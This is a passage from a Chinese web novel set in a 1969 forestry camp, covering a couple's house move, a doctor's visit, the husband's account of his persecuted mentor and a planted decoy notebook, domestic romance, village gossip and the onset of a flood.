不过这事说到底成得不痛快,不然以刘卫国的性子,刚刚进门时就该满面春风跟他们嘚瑟了。
祁放看了看自家哥们儿,“你别是后悔了。”
“那哪儿能?”刘卫国立马反驳,“参没了还可以再挖,哪有人重要。”
要是周文慧一声不吭就这么收了,他可能还真会有点心里不舒服,但这不是没有吗?
祁放就没有再说,毕竟他当初会出那个主意,主要是因为一开始见到严雪,他也把严雪当成了家里和他退过婚的未婚妻。
虽然后来证明是他认错了,但早在那之前,严父对他来说就已经不重要了。
刘卫国怎么选,全看他更在意什么,他也只是一提,采不采纳全看刘家自己。
祁放跟着车走了,刘卫国帮着严雪继续往外清树头,忍不住问严雪:“你们准备哪天搬家?”
“后天就是好日子,宜搬迁。”严雪已经看过了日历。
这事是真不能再拖了,再拖第二轮幼林培育都该开始了。
搬家当天刘卫国准时过来帮忙,周文慧也跟着来了,严雪端着家里的锅,祁放拎着装满米的米桶,正式搬到了新房。
就连严继刚也被分到了个重要物件,抱着跟在姐姐姐夫身后,是祁放那个小箱子。
严雪还笑他,“你姐夫挺信任你啊,这东西连我都没开过。”
严继刚只是笑,进屋把箱子交给姐夫,放好,又出门去看两人安锅。
大地锅底下的锅台早就砌好了,祁放在里面抹上黄泥,严雪便将锅坐了上去。
当然光坐上去还不行,还得再转两圈,将缝隙转没了,锅和锅台的接缝处也要再抹一圈黄泥,不然烧起火来会冒烟。
一家人在新房吃了顿饭,这家也就算搬完了。第二天严雪立马带着人去了镇上,看大夫。
这回要看的可不只有祁放,严继刚才受了惊吓,二老太太也还没好全,全家上下,倒只剩严雪是个好人。
一家四口一起进去的时候,医生还以为都是陪着来看病的,让家属可以在外面等等。
结果严继刚坐下,几个人帮着把情况说了,号完脉,又开过药,二老太太坐下了。
医生一看老太太那唇色就猜出个大概,再一摸脉,“之前中过毒?”
二老太太点头,“弄敌敌畏的时候没弄好。”
“底子也有点虚,得好好调理调理,来这两位是?”
“我孙女,孙女婿。”
孙女和孙女婿陪奶奶来看病的可不多见,医生不由又看了几人一眼,开了方子,嘱咐了严雪和祁放一些注意事项。
本以为这次肯定完了,正准备叫下一个,祁放又坐下了。
小伙子人长得挺俊的,看着也年轻,医生看看他,还是问:“哪里觉得不舒服?”
“睡不着。”祁放言简意赅。
严雪就站在他身后,帮着他补充,“有两三年了,晚上最多能睡四五个小时。”
“以前看过大夫没有?”医生将脉枕推过来,手还没搭上去,便听祁放道:“没。”
这让医生又看了他一眼,“两三年都不看大夫,真够能挨的。”
不多会儿脉摸完,“肝郁气滞,心脾两虚,你这是郁结于心又思虑过度的脉相,之前受过很大的打击?”
严继刚和二老太太立马关切地望了过来,祁放并未回答,“能治吗?”
“能治是能治,不过有些事得你自己想得开。”医生又摸了摸,问他:“最近是不是强点儿了?”
强点了吗?
祁放回头看看严雪,低声应“嗯”。
“那继续保持,有些事不能想就别想了。”医生也顺着他的视线望向了严雪,“家属平时也多开解开解,尽量让他保持好心情。”
严雪点头,见对方就要开方子,赶忙问了句:“他还有别的毛病吗?”
“最近天热,有点上火,不算啥大事儿。”
“真的没有了?”严雪显然不信。
要只是失眠,怎么会十几年后一在原书出场就病歪歪的,四十多岁就把自己送走了?
她毕竟是病人的配偶,说不定知道点什么,医生也就又摸了摸,“他平时还有哪不舒服?”
这问题别说严雪,病患本人祁放都不知道答案。
他不由看了严雪一眼,“没有,我平时很健康。”
医生摸了半天,显然也没摸出什么,拧着眉在那沉吟。
严雪只能提醒对方:“就那种比较隐蔽的,一般不容易发现也不好对外说,对人影响还特别大的。”
这男人嘴硬得很,谁知道他是真没有不舒服,还是有也不跟她说?
像他失眠这件事,她不就结婚了好几个月才发现,还是因为抓了个正着,之前刘卫国提起来的时候他都不愿意承认。
严雪自觉提醒得很到位,医生显然也听懂了,一脸恍然大悟又仔细号了号脉,“没有啊,你爱人体质挺好,肾精也足,应该不存在那方面的问题,你们是有啥不和谐?”
一开始说肾精也足,严雪还没反应过来,但紧接着就是那方面跟不和谐……
她感觉男人当时便看了过来,二老太太更是露出担忧,“这可是大事,大夫您赶紧给他看看。”
“看也是没有,肾虚的人不这样。”医生已经松了手,反而看向严雪,“你要不要也号号?”
47 笔记
一见男人脸色沉下来,严雪就猜出了大概,“有东西丢了?”
祁放没说话,把刚刚的锁头拿过来,拔下钥匙,对着锁孔仔细观察。
严雪也凑过去看,在锁孔附近发现几道极轻微的划痕,无法确定是不是之前男人用钥匙开锁时不小心划的。
她望向男人,“里面有很重要的东西吗?”
“我再确认一下。”祁放没有正面回答,合上箱子转身往外走。
严雪猜他是要回老房,也跟了过去,两口子路上什么都没说,一回去各自分开检查门窗。
前面检查了一圈都没什么,倒是转到房后,祁放从窗台上发现了半个鞋印。
“应该是43码,解放鞋。”男人低眸望了眼,转头看向身后的板杖子。
这一片山区林业资源丰富,各家各户的院墙都是用各种边角料的木板夹的,俗称板杖子。
夫妻俩在下面找了找,果然又找到几个不明显的脚印,显然是有人趁郭家人不注意,从后面翻了进来。
至于郭家人,人品且不论,首先撬了锁还不留下多少痕迹就不是谁都能做到的。
而且郭家手里有他们家的钥匙,一旦出了什么事,肯定第一个被怀疑,郭家人又不傻。
出来的时候正碰上郭大娘从菜园子回来,见到他们还说了句:“温度我刚去看过了,正好。”
又给他们塞了几个水萝卜,“刚从地里拔的,你们搬家晚,菜园子也没种上,拿回去蘸酱吃。”
两人和对方道过谢,回去这一路,谁都没有开口说话。
等将水萝卜放进厨房,洗了手,回屋又看到那个箱子,男人才突然问了句:“上次上山找我那个人你还记得吗?”
严雪当然记得,毕竟以他那冷冷淡淡对什么都不感兴趣的性子,竟然也会和人打架。
而且自从知道了祁放就是祁景纾,再回想,那人的身份她也有了些猜测,只是没想到男人会突然跟她提起。
祁放也有些没想到,以前他都不愿意和人提起这些事的,刚才却顺嘴就说了。
不过话出口,好像又没什么了,他干脆直视向严雪,“他叫吴行德,以前跟我是一个老师。”
果然是吴行德,严雪立马看向了那个箱子,“这事和他有关?”
“十有八/九。”祁放并不意外她能马上联想到,“他上次上山找我,是想跟我要老师的研究成果。”
这个严雪虽然没猜到,却也并不意外,“他想盗用你老师的科研成果?”
吴行德要不是盗用了老师的科研成果,哪能爬得那么快,也不会让祁放费心筹谋那么多年,才将他拉下来。
这让严雪面上露出凝重,再次看了眼那个箱子,“你这里面不会就装着什么重要资料吧?”
一如既往的冷静、聪明,稍微一提就能反应过来。
而且还是完全站在他这边的……
这让祁放多看了她一眼,心里突然生出一个念头,这事应该早点和她说的。
于是原本回答都到了嘴边,又突然一转,“她跟你说我是大学生,说没说我学的什么?”
自从他叫严雪,两个人都看了过来,严大小姐在他这里就失去了姓名。
严雪虽然觉得他问得突然,还是顺着他的话拿严大小姐做了个幌子,“只提了一点,不多。”
祁放也没有要细究的意思,“我大学学的是机械工程,师从苏常青教授。”
所以后来他白手起家,一手创办的集团才叫常青重工。
“他跟我姥爷是旧识,可以说是看着我长大的,我姥爷过世后,还在他家住过一年。”
当时家里是想把他接回燕京的,但老师考虑到他马上就高二了,怕他回去后不适应,耽误了学业,特地找了他家人商量。大学几年,老师也总担心他年纪小,身边又没个亲人,对他多有照料。
所以知道老师出事后,他才那么接受不了,更接受不了害了老师的是和他朝夕相处了几年的师兄。
祁放垂下眸,语气尽量平静,可还是忍不住泄出些冷然,“三年前,老师因为留过苏,被举报有境外关系,泄露国/家/机/密,在狱中自杀身亡。写信举报他的,就是吴行德。”
他抬起眼,桃花眼里全是嘲讽,“他跟我说他是想自保,迫不得已,可老师一察觉到苗头不对,就已经给我们都安排好了退路。”
“你来金川林场,就是你老师安排的吗?”这个书里只提了一点,严雪也不是很清楚。
祁放却说:“不是,老师安排我去的澄水机修厂。他说我年纪太小,进了研究所也受不到重用,不如去基层锻炼两年,也看看我们的机械问题都出在哪里。”
没想到他还真在镇机修厂待过,那怎么又来林场当了采伐工人?
严雪心里疑惑,嘴上却没问,因为男人此刻的表情实在算不得好。
祁放唇紧抿着,好一会儿才沉声道:“当时我信了,走后好几个月才发现老师出事。我回燕京想过办法,可还没找到头绪,就听说……”
他嗓音都变得干涩,“听说老师不愿意交代出有哪些同伙,用腰带把自己挂在了门把手上。”
门把手那么低,想挂住一个人谈何容易?
可苏常青还是把自己挂了上去,用这样难看的死法,结束了自己半生都在为科研做贡献的生命。
严雪忍不住握住了男人的手,“老师他是想保全更多的人。”
“是啊。”祁放的声音轻得几乎要散了,“他死了,我没事了,我们都没事了……”
话里没有一点劫后余生的庆幸,只有压得人喘不过气来的难过。
苏常青用自己的死保全了其他人,却也在祁放心里留下一道疤,让他苦心孤诣二十几年,也要给老师讨回一个公道。
或许苏常青更喜欢祁放,不是因为他聪明,不是因为他从小被他看着长大,亦徒亦子,只是因为他更像他。
他一辈子教了那么多学生,有像吴行德这样忘恩负义反戈一击的,有为求自保划清界限的,还有有心无力浑噩度日的。只有祁放自始至终初心不改,拼得一身病痛英年早逝,还是把这个公道还给了他。
感觉到对方不自觉拽紧自己手的动作,严雪突然抬手捏了捏男人的肩,“重吗?”
男人抬起桃花眼看她,显然还在刚刚的情绪里没能回神。
严雪就加重力道又捏了捏,声音也放软,“一直背负着这些,重吗?”
“不重。”男人垂眸捉住了她的手,顿了顿,又放到唇边轻轻一啄,“我应该的。”
如果连他都不记得老师的好,那老师兢兢业业这么多年,又还剩下些什么?
他为之奋斗的背叛了他,辛苦付出的背叛了他,就连死,也要背着那莫须有的污名。
祁放有时候晚上睡不着,都在想老师到底是哪里做错了,才要经历这些?
他把那只小手又亲了亲,“老师跟师娘一直没有孩子,研究就是他的孩子,我们这些学生就是他的孩子。”
“那老师的研究成果呢?不会真在箱子里吧?”
严雪任由他亲,再提起箱子,语气却不复之前的凝重。
老师在祁放心里太重了,这么重要的人一生的心血,祁放怎么可能随随便便放在箱子里,谁都能发现的地方?
果然男人掀起桃花眼,眼尾还向上挑了挑,“当然没。”
不等严雪再问,他已经指了指自己的头,“老师也没给我什么资料,都在这里。”
说这话的时候他下颌轻抬,桃花眼里都似注入了往日没有的光彩,那是对自己大脑绝对的自信。
他唇角甚至带着点讥诮的弧度,长指敲敲木箱,“不过我在里面放了本笔记,够他们走最少一年的弯路。”
“假的?”严雪立马反应过来。
“也不能说全是假的。”他低眸扯扯唇,“他知道的都是真的,最少70%。”
可有些东西一点差不得,差一点就是完完全全的两个方向。
这男人不声不响的,倒是挺能给人挖坑,严雪看看他,“你什么时候准备的?”
“我从燕京回来后。”祁放倒也不隐瞒。
那就是他老师一过世他就开始防着了,两年半的时间,笔记的新旧程度也不会让人起疑。
毕竟谁闲着没事在里面放本假笔记,还一放就是两年多?
严雪总觉得这个笔记还有点熟悉,“你平时一直拿在手上翻的,不会就是那本笔记吧?”
她记得男人有一个笔记本,确实一直锁在箱子里,有时候她睡得早,他不着急睡,就会拿出来翻一翻。
男人闻言只是瞥了她一眼,眼尾轻抬,好像在问你说呢。
那可真是把戏做足了,估计这笔记都快让他翻卷边了,他之前一直住宿舍,同宿舍的人也肯定知道。
这对方要不信个十成十,把东西拿回去连夜研究,她都怀疑对方是不是脑子不正常。
这种筹谋,这种隐忍,这种不管何时起作用会不会起作用都日复一日等待狩猎的耐心,不怪他改革开放后才开始白手起家,依旧弯道超车,把吴行德那帮人拉了下来。
严雪看看他,又看看他,“现在我相信你没想瞒我一辈子了。”
他要真想瞒,想一直瞒,就会像这次的笔记一样,一点破绽都不会留。
当然他们那事也没那么好瞒,漏洞太多了,补都补不过来。现在想想,能坚持快四个月才是神奇。
听严雪提起旧事,男人终于敛了敛神色,转移话题,“家里真得养条狗了。”
郭家就没养狗,虽然平时家里一直有人,但这次东西都丢了这么久,他们才发现,郭家人更是连知道都可能不知道,确实不够安全。
而且现在家里人多了,除了祁放,不是老弱就是妇孺,有些事更得注意。
“去刘卫国家抱一只吧,我记得黑狮已经带崽子了。”严雪说。
除了看家,木耳菌种再过几天就可以种植了,时间不够,她准备直接用原种种,不培养栽培种了。到时候木耳长出来,谁知道会不会也遭人惦记,还是养条狗比较放心。
“那我去和卫国说。”祁放做事向来不拖泥带水,“到时候抱两只,一只放后院。”
后院本来是用来做菜园子的,被他们改成了种植木耳的场地,用来放置段木的棚子他们都搭好了,只等菌种成熟。
男人这么说,显然是跟她想到了一块去,严雪看着他将箱子收起来,突然又想起什么,“那些资料除了你,别人手里有吗?”
“跟过项目的都知道一些,不过不全,最重要的我跟老师才研究出来不久。”
那吴行德在原书中是怎么爬那么快的?还让祁放花了十几年才把他拉下来?
严雪觉得吴行德可不像是只偷了一点,蹙起眉,“如果别人跟你要呢?你会不会给?”
“谁都不行。”祁放断然否定,“老师临终前,只让师母给我带了一句话。让我守好东西,等时机合适再拿出来。”
一辈子的心血,苏常青自然不可能甘心就这么毁了,但交给别人,他又怕和他实验室里被砸被烧那些一样被糟蹋了。
可合适的时机又是什么时机?
严雪望望男人不自觉带上肃杀的俊脸,“你连油锯手培训都不想去,不会也和这个有关吧?”
祁放没说话,但他什么都不报,只做最普通的伐木工,确实是想尽量降低存在感,别让那些人想起自己。
没想到就这样,吴行德还是惦记着他,千里迢迢跑来跟他要东西,甚至趁他不在偷了他的家。
他把严雪揽进了怀里,“抱歉,给你带来麻烦了。”
“你这是跟我见外吗?”严雪推推他,秀眉轻挑,“我奶奶和弟弟可是都接过来了,我也没这么说。”
“是我说错了。”祁放立马改口,又补充,“奶奶和继刚不是麻烦。”
这句话倒还算顺耳,严雪没再说什么,“你还有别的照片吗?”
吴行德和祁放都不是那本书的主角,有些往事交代得并不够详尽,严雪穿过来久了,也有些记不清。既然暂时想不通,她就不想了,反而觉得男人刚刚说起全记在脑子里时,那股自信格外勾人。
也是,十四岁就考上大学的天才少年,哪可能真对什么都不感兴趣,冷淡到甚至死气沉沉?
见男人重新去拿箱子,她又补充上一句,“要大学时候的。”
男人之前也不知是拿的哪张,闻言又换了个,递给她,“大二第一次跟老师下车间时拍的。”
照片上的少年不过十五六岁,却已经很高了,一身防护服站在机床边,抿着唇没什么笑容,桃花眼却出奇的亮。
那眼中是一种向上,一种蓬勃,一种不畏困难披荆斩棘的精神气,完全不似现在的悲观。
严雪看看照片,又看看男人,一顿,突然又觉得现在的祁放,好像也没一开始在山上时那么悲观了。
祁放不知道她在想什么,也瞥了一眼相片,“现在好看还是小时候好看?”
严雪一开始还纳闷他怎么在意上好不好看了,还跟小时候比,旋即反应过来,他这是记着当初那句“你比小时候好看多了”呢。
这让她心里直呵呵,“你小时候可比现在好看多了,特别好看。”
男人那神色当时便是一顿,又低眸扫了眼照片,“是吗?可能我小时候没让人不满。”
来了来了又来了,看来这事在他这是过不去了。
严雪有时候真想上去堵住他那张嘴,晃晃照片,“没收了,我得多看看小时候的你,以后想打你的时候才能控制住自己。”
“那你让继刚回去,我让你打。”祁放望着她,话接得特别快。
以前也没见他嘴皮子这么利索,严雪才不信。
以这男人的记仇,要真让继刚回去了,还不知道是谁找谁算账。
严雪没再理他,拉开抽屉把照片夹进了她平时用来夹零钱的日记本。
“真不让?我这还有其他的。”男人竟然还试图利诱。
严雪眼一弯,刚想问一句有果照吗,看看这睡个觉还得穿衬衣的男人会怎么答,外面有人敲门,“小严在家吗?”
是郎月娥来了。
她只能先迎出去,“在呢月娥姐。”回来时男人已经将箱子收了,神色也彻底恢复冷淡。
“你这新房盖得不错。”郎月娥进门还先夸了句,才在炕边坐下,说起了来意,“今年不是建国二十周年吗?国庆镇林业局有联欢会,在剧院举行,要求所有下属单位和林场都得出节目。”
严雪一听出节目,头就有点大。
毕竟上辈子她先蹲市场,后改个体户,完全没在体制内和大公司混过,没这方面经验。
好在郎月娥也不是来让她出节目的,“节目咱林场已经想好了,准备排个大合唱,再和其他林场一起出个诗朗诵。我这次过来,就是看你俩形象好,想问问你俩诗朗诵想不想上,尤其是小严。”
她提醒,“家属队转正名额就那么几个,劳动模范不好评,总得评个文艺骨干吧。”
严雪能吃苦,但体型在那,单拼劳动,的确拼不过那些体格高壮又在家属队干了好几年的老人。
郎月娥这是好意,她自然不会拒绝,“我没问题。”
郎月娥又看向祁放,“小祁要是不愿意去……”
她会这么说,主要祁放确实不爱凑热闹,连她都有所耳闻,没想到祁放竟然问:“一个林场出几个人?”
“出两个,一个男同志一个女同志。”郎月娥说,“所有林场都是出两个。”
48 找痣
结婚快五个月,严雪一直都以为祁放冷淡来着。
两人之间最亲密的一次,他也是从脸颊开始,一点点试探到唇。
就连刚刚,他虽然在被子底下搂住了她的腰,手却一直很老实,既没乱摸也没乱蹭。
然而现在,就现在,他却一上来便直奔主题。
吻落下的时候,严雪脑子还有点懵,完全没反应过来,下一秒唇瓣就被人轻轻吮了下。
她眼都瞪大了,原本想去推人的手就这么揪住了对方的衣料。
很快轻吮便变成了辗转厮磨,男人犹觉不够似的,长指捏捏她下巴,“张嘴。”
温热的呼吸就在她唇畔缠绕,桃花眼也垂下来静静望着她。
严雪脑子还有点糊,都没反应过来便照做了,感受到骤然侵入的舌尖才觉察出不对。
这个不要脸的,继刚还在旁边呢!
她忍不住捶了一下男人的肩,却被一只大手捉住,十指交缠着抵在了枕边。
吻还在继续,甚至更深。
洗漱时残留下的清爽味道都被灼热所侵染,融化成酥麻的电流,一点点沿着唇舌扩散。
严雪能听到自己明显变重的呼吸,胸膛里逐渐无法控制的心跳,就连被大手交缠抵住的掌心也渐渐渗出了细汗。
好一会儿,她才寻回主动权,在男人舌尖咬了下。
对方微微抽离,下一秒,灼热的呼吸却拂向了耳侧,“继刚还在。”
“你也知道继刚还在!”严雪气声,这回是真忍不住踹了他一脚。
男人也不在意,只贴她更近,“不怕吵醒他,你动作可以再大点。”
严雪都没来得及说话,耳垂就被人轻咬了下,“你从什么时候开始对我不满的?”
果然是找她算账,严雪被那呼吸吹得半侧都麻了,“我不是跟你解释了吗?”
男人却显然不信,又或者该说是不想信,吻又压下来,半晌才又在她唇瓣上咬了口,“说实话。”
严雪都怀疑他是不是属狗,瞪过去,“你故意的!”
男人那双桃花眼却无辜极了,“你都问大夫我有没有隐疾。”
完完全全的气声,说着目光还垂下去,如有实质般落在她唇上,随时准备继续。
刚刚的酥麻还残留着,严雪只觉得那目光落在哪,哪里就像要烫起来似的。
她只能去掐男人的腰,“你别闹了。”正要推开人,腿却和什么存在感十足的碰了下。
还拥着她的男人瞬时一滞,没吃过猪肉也见过猪跑,严雪的动作同样一顿。
也就在这时,旁边熟睡的严继刚翻了个身。
夫妻俩全都僵住,一个琢磨着这么黑能不能看清,一个琢磨着该找什么理由遮掩。
还好小少年只是咂吧了下嘴,“姐夫我不跟姐姐说……”
大概因为是梦话,并不像白天面对人时那么紧张,居然说得十分流利。
不过这也让严雪在他没了动静后重新看向祁放,眉轻挑,手也又掐了掐,“这次你准备检讨几天?”
祁放默了下,“明天你就知道了。”意思是这次能不能不检讨。
严雪呵呵,直接把他一推。
这次祁放没坚持,顺势躺回去,还把被子往下拉了拉,松松领口的纽扣。
刚才那一番折腾,他也出了些汗,没注意严雪的目光跟着手落在了他领口处。
还是热,祁放干脆起身,给自己倒了杯凉白开,一面喝一面慢慢平复。
他又没有特殊爱好,怎么可能真当着孩子和严雪做什么。
当时就是想趁着严雪不敢乱动,讨一下白天医院的债,没想到亲着亲着竟然有些失控。
严雪也没想到只是亲一下,男人反应会这么大。
不过看他这激动程度,还有硌人程度,医生的确没说错,他肾精应该挺足的……
这么想着,严雪也有些口干,朝着炕外伸出手,“给我也喝一点。”
夜色中胳膊雪白纤细,有些晃人眼,祁放的目光当时便落了过去。
不过他很快又错开,滚动喉结咽下一口水,走上前,将搪瓷缸子递到了严雪嘴边。
严雪就着他的动作喝了几口,一推,他把搪瓷缸子盖上盖又放了回去。
这回再躺下,那股子燥热总算渐渐消下去了,祁放正要合眼,旁边严雪却伸来了手。
那只小手目标很明确,上来便揪住他的衬衣,解开了领口处的纽扣……
祁放立马拽住自己的衣领,“继刚还在。”
这贞洁烈男样,好像刚刚扑上来就亲的不是他一样,严雪无语。
听严雪没说话,男人还搂过来将唇凑到她耳边,“等继刚走了的。”
声音又低又轻,还带了点撩人的微哑。
这回严雪是真没忍住翻了个白眼,“想什么呢?我是想看看你锁骨上是不是真有痣。”
亲都让他亲了,让她看看他也没什么吧?
男人明显顿住了,好半晌才松开她,自己往下解了颗扣子,“是有一个。”
严雪立马翻了身,兴致勃勃凑过来看,“那我没看错。”
两只小手扒开了祁放的衣领,简直像个准备霸王硬上弓的女流氓。
祁放被她压着,实在觉得这一幕很怪,屋内太黑,她还忍不住凑近了来找,“在哪呢?”
那呼吸吹得他身上都跟着绷紧了,静默片刻,才指了指左边一处,“应该是这。”
还是看不清,严雪只隐约望见了男人冷白的肌肤和锁骨处十分明显的阴影。
正要继续凑近,男人横臂将她一揽,让她整个人都跌落进自己怀里,“你是不是故意招我?”
声音早失去了平日的冷淡,一双手臂更是紧得人腰都要被勒断了。
最终严雪也没能成功找到那颗痣,但第二天,她确实知道了祁放和严继刚之间的另一半秘密。
祁放去小修厂用了一天时间,给严继刚做了把小手/木仓。
除了铁皮薄了点,内部确实无法装子弹,就连保险栓都跟真木仓一样,也能开关。
严继刚抱着翻来覆去地看,摸一下又摸一下,笑得简直像个小傻子。
“就为了这个,你就把姐姐卖了?”严雪端了药碗站在旁边,“过来,先把药喝了。”
严继刚小脸立即垮下来,但还是放好枪,走过来乖乖喝了。
严雪往他嘴里塞了一块糖,又拿了另一碗去找祁放,“大郎,喝药了。”
祁放显然不知道这个梗,只蹙眉看她,“我在家排第二。”
“没事,在咱们家你就是老大。”严雪笑盈盈把药递给他,“喝吧。”
药汤的味道随着她的动作飘散过来,祁放那眉眼见着便蹙得更深。
严雪见他没接,“怎么了?你不会和继刚一样害怕吃药吧?”
“没。”祁放还是接了过去,一仰头,一口气灌了。
喝完他把碗递还给严雪,然后喝了半缸子水,又喝了半缸子水……
严雪看他面无表情往肚子里灌水,觉得好笑,“还说自己不怕吃药,不知道的还以为你晚上没吃饱。”
这让男人桃花眼动了动,静静落在她身上,“确实。”
话意味不明,也不知道是在说确实怕吃药还是确实没吃饱。
严雪就当是确实怕吃药,毕竟晚上那顿饭他可没少吃,再灌一肚子药和水进去,她都怕他撑着。
正准备把碗送下去,男人突然倾身过来。
严雪还没反应过来,唇上已经飞快被人啄了下,吓得她赶紧往门外望了眼。
“没事,奶奶在对面,继刚在院里。”祁放声音镇定,显然之前就观察过。
见严雪瞪他,他还看着严雪问:“苦不苦?”
他都喝了那么多水了哪还能尝到苦?但这男人现在胆子是真大……
严雪眼睛瞄瞄他领口,正考虑着要不要趁白天再看一次,外面有人喊她:“严雪姐姐,我来找你弟弟玩啦~”
是刘家小儿子刘卫斌,进门还皱了皱脸,“好大的中药味儿。”
严雪也就暂时打消了这个念头,出去将碗刷了,还问刘卫斌:“春彩和春妮呢?”
刘卫斌一双眼睛已经被那小手/木仓吸引了,“大姐学校不放假,二姐在家写作业。”
林场只有小学,中学就得去澄水镇上念了。因为路途远,交通不便,都是住校,每周回来一天。
严雪已经有阵子没怎么见过刘春彩,“你们什么时候放假啊?”
“下个月八号就放。”实在好奇得不行了,刘卫斌主动凑到了严继刚面前,“你这手/木仓谁做的?也太像了!”
虽说他家就有真家伙,但他年龄小,家里都不让他碰。
突然被人这么靠近,严继刚立马紧张起来,但看看就在一边的姐姐,还是努力镇定,“我……姐夫。”
说得很慢,但刘卫斌来之前就听说这个弟弟,没错他认定是弟弟,有点认生,他们那方言也跟这边不一样,并没觉得有哪里不对,“你姐夫可真厉害啊,我看林场其他人刻的都是木头的,还没你这个像。”
听他夸自己姐夫,严继刚简直比夸了自己还开心,眼睛一弯,“谢谢。”
这两个字他倒是说得利索,毕竟短,他现在还很开心。
“能给我玩一下吗?”刘卫斌刚问出口,严继刚已经很大方地递了过去,“给。”
很快严雪就听到了刘卫斌的新感慨,“你姐夫可真厉害啊,我也想要个姐夫。”
她实在没忍住笑了,“你两个姐姐才多大你就想要姐夫。”
这孩子脑回路也是清奇,人家见着好东西,都是哭着喊着闹着要东西,就他是想要姐夫。
刘卫斌被她说得嘿嘿笑,又问严继刚,“你还有啥好玩的没?”
严继刚点头,立马带着他去自己和奶奶那屋,然后拿出了铅笔盒、习字本、算数本……
刘卫斌那满脸的期待霎时就僵住了,“就这些?”
严继刚摇头,但又不知道该怎么说,于是在刘卫斌复又燃起的期待中在本上写:“我还有个新字典,姐姐给买的。”
刘卫斌看了看,又看了看,最后只睁大一双无辜的眼睛问:“你写的啥?”
把严继刚都问傻了,他不是上学了吗?秋天就小学二年级了……
大概人类的悲欢并不相通,严继刚因为没能上学,格外珍惜能学习的机会,刘卫斌却巴不得能像他天天放假。
倒是人类八卦的天性挺相通的,次日严雪一去家属队报到,准备开始第二轮幼林培育,就听到有人在议论林队长今天没来上工。
虽然工队长都是半脱产,林队长又是身体原因被调来家属队的,时不时就会请个病假,但一般任务开始前三天,他都是不会缺席的。
不仅他没来,程玉贞也没来,甚至都有好一阵没怎么出现在人前了,严雪最后一次听到她的消息还是借种那事。
干活辛苦,大家就指着聊聊天打发时间,一时全是三五成堆说这事的。严雪始终听着,并没有参与。
到了中午坐下来吃饭,郎月娥才趁没人注意压低声音跟严雪道:“这事多少跟你有点儿关系,我才和你说的,你自己知道就行了,林队长准备离婚了。”
严雪有些意外,又不是那么意外。
不管借种那事是不是真的,在那个时候传出来,就是很有甩锅的嫌疑。
程玉贞能那么恶心于翠云,甚至把她的家属队名额拿下来,栽赃到于翠云身上,都不像和梁其茂只是借种的关系。
而林队长看似对程玉贞多有忍让,好像程玉贞哄一哄就什么都会听,但其实并不傻。当初严雪上山去闹,几句暗示他全听懂了,还迅速做出了应对,后来转正名额那事他也选择了避嫌,完全置身事外。
如今程玉贞给他戴绿帽子被抓,还把黑锅扣到了他头上,他要是什么都不做,就要被怀疑是不是有什么大把柄在程玉贞手里了。
毕竟同样是出轨,梁其茂那边好歹还做足了赔礼道歉痛改前非的姿态,程玉贞这边可是只想着甩锅。
果然于翠云那边虽然吵得凶,但雷声大雨点小,最后还是不了了之;林队长一直不声不响,反而一出手就是离婚。
后来严雪才知道,那天林队长没来上工是因为老丈人来了,估计是来劝他和程玉贞别离婚的。
但林家可没有个孩子做理由,最后程玉贞还是走了,说是回娘家了,到底她妈病了还是她兄弟病了传什么的都有。反正过后林队长来上工,可是一点口风都没漏,从表面上也完全看不出他才经历过一场离婚。
郎月娥能知道,估计还是因为林场结婚证都是单位给办的,离也得在单位离,怎么都绕不过郎书记。
“我有时候想想,孩子没了说不定也是好事,不然我这婚恐怕很难离,康培胜可能还会连孩子一起打。”过后郎月娥跟严雪感慨说,“他家房后有一家,男的是军人,女的偷人,还给人生了个儿子,都没离。”
“破坏军婚不是违法的吗?”这严雪就有些意外了。
“是违法啊,他媳妇儿出轨那男的被判了一年半。但他老丈人上门做他工作,让他看在孩子的面上要着他媳妇儿,别离婚,以后他不在家,他家所有事他老丈人全管了。”
时代如此,有时候会被裹挟的不只有女性,还有男性。
“所以还是少生几个吧。”严雪再一次感觉到了计划生育的重要性。
要不是孩子多没办法,谁头上绿得都喜当爹了,还愿意捏着鼻子过下去啊?
刚说到孩子,郎月娥就提醒起她孩子的事了,“你也注意点,别有了也不知道,还来家属队上工。这要是出点啥事儿,你哭都来不及。”
那这个严雪不怕,世界上最保险的避孕措施就是啥也不干。
虽说现在祁放主观能动性有了,不像一开始睡个觉都得包得严严实实,但他们硬件条件不允许。
不过谢还是要和对方道的,毕竟这是真关心,严雪抬头看看天,“我怎么觉得这雨又下大了?”
进入七月,林区降水明显变多,尤其是雷阵雨,一天下午下了,连续三天下午都得下。因此上山幼林培育经常要带着雨具,他们今天早上出门的时候天就有点不好,没想到下着下着还下大了。
郎月娥视线也被雨幕所遮挡,闻言停下动作,“是不小,我看还没有要停的意思。”
雷阵雨烦人是烦人,但一般下的时间不长,等那片云彩过去了,天也就晴了,眼前这天却阴得没有尽头似的。
果然没过多久林队长过来通知,“大家抓紧点,干完这垄就收工,明天看情况再说。”
49 水灾
祁放跟郭长平不是一个工队的,不知道郭长平今天来没来上工。
但他知道郭长安腿脚不方便,要是郭长平和金宝枝两口子不在家,郭大娘一个小老太太根本弄不动他。更知道严雪若是执意要去,他也拦不住严雪。
所以他什么都没说,只在严雪踩进积水里时捉住了严雪的手臂。
两口子刚上山的时候,地上的积水还只没过脚腕,下来的时候已经快到膝盖了。
两人以最快的速度赶到郭家,郭家大门果然还没关。
“郭大娘该走了!”严雪快步进去,却没在郭家三间房里听到任何回应。
她转了圈,也没看到任何人,不仅郭大娘,连平时总是待在屋里的郭长安都不见人影。
“难道是已经走了,走的时候忘了关门?”她确认般又找了一遍。
祁放则扫视着四周,眼尖地觉察出了不对,“这屋里东西少了。”
严雪正待回头细看,男人一拉她,“走,去咱们原来那屋。”
两人蹚着水又走过院子,拉开堂屋的门,才听到里面被暴雨掩藏的说话声。
“这手电筒好像没电了,我再回去找两节电池。”
是郭大娘。
“不用,马上就弄完了,还差几个。”
明显透出吃力的陌生男声,应该是郭长安。
严雪赶忙走进去,“水都要到大腿了,大娘你们怎么还不走……”
话未说完,人已经被眼前的一幕震住。
她和祁放曾睡过四个月的土炕上,此时被放了四口大箱子,箱子上则压着一个写字桌。
郭家母子俩都站在炕上,郭长安甚至半个身子都趴在写字桌上,正艰难地从郭大娘手里接过罐头瓶,单手往桌面上放。
那瞬间严雪失去了自己的声音,好半天才艰难地重新找回,“都什么时候了,你们还管这些干嘛?”
郭大娘看着比她还意外,“不是通知让往后山去吗?你咋过来了?”
“您也知道让往后山去啊?我怕宝枝姐和长平哥没在家,过来看看。”
严雪正要上炕,后面祁放已经一脚迈了上去,拿走郭长安手里的罐头瓶,连拽带扶将人从炕上拉了下来。
郭长安下意识要挣扎,立马被严雪呵了句:“菌种还有人重要?”
